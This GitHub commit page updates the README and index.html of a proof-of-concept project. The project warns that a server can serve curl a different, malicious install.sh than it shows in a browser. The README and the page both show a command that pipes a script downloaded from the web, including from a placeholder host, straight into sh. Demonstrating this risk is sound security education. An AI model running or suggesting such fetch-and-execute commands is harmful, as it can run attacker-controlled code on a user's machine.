Updated README.

Fixed footer of index.html.
djm · Jul 15, 2013 · 22f65c0 · 22f65c0
1 parent b5362fa
commit 22f65c0
Show file tree

Hide file tree

Showing 2 changed files with 14 additions and 15 deletions.
diff --git a/README.md b/README.md
@@ -8,7 +8,7 @@ This project showcases a possible, non-obvious exploit which relies on
 sniffing the browser's user agent string to change a served .sh file dependent
 on whether or not the browser is curl/libcurl. This would allow a malicious
 person to point a user to a perfectly reasonable looking .sh file while in
-the background providing a different - perhaps evil - .sh file to the user
+the background providing a different, perhaps evil, .sh file to the user
 told to download via [curl/libcurl](http://curl.haxx.se/) like so:
 
     curl -s http://blah.com/install.sh | sh

diff --git a/templates/index.html b/templates/index.html
@@ -1,25 +1,24 @@
-<!DOCTYPE html> 
+<!DOCTYPE html>
 <html lang="en-gb">
-<head> 
+<head>
     <!--
-          _ _                                     _    
-         | (_)                                   | |   
+
+         | (_)                                   | |
        __| |_ _ __ ___     ___  _ __ __ _   _   _| | __
       / _` | | '_ ` _ \   / _ \| '__/ _` | | | | | |/ /
-     | (_| | | | | | | |_| (_) | | | (_| |_| |_| |   < 
+     | (_| | | | | | | |_| (_) | | | (_| |_| |_| |   <
       \__,_| |_| |_| |_(_)\___/|_|  \__, (_)\__,_|_|\_\
-          _/ |                       __/ |             
-         |__/                       |___/              
+          _/ |                       __/ |
+         |__/                       |___/
 
     -->
     <title>Piping from the net to sh - Proof of Concept</title>
-
-    <!--Meta Data--> 
-    <meta charset="UTF-8"> 
-    <meta name="description" content="Piping from the web directly to sh can be dangerous, see why." /> 
-    <meta name="author" content="Darian Moody <[email protected]>" /> 
 
-    <!--Styles--> 
+    <meta charset="UTF-8">
+    <meta name="description" content="Piping from the web directly to sh can be dangerous, see why." />
+    <meta name="author" content="Darian Moody <[email protected]>" />
+
+    <!--Styles-->
     <link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='css/base.css') }}" media="screen"/>
 
 </head>
@@ -29,7 +28,7 @@ <h2>Piping to sh via curl</h2>
     <p>
         <code>curl -s <a href="{{ url_for('install_sh', _external=True) }}" title="View install.sh source">{{ url_for('install_sh', _external=True) }}</a> | sh</code>
     </p>
-    <p>Powered by <a href="http://flask.pocoo.org" title="Flask Project">Flask</a>; <a href="https://gitusource on github.
+    <p>Powered by <a href="http://flask.pocoo.org" title="Flask Project">Flask</a> // <a href="https://github.com/djm/pipe-to-sh-poc" title="View the source">source on github</a>.
     <p>Darian Moody &lt;<a href="mailto:[email protected]">[email protected]</a>&gt; &copy; 2013</p>
 </body>
 </html>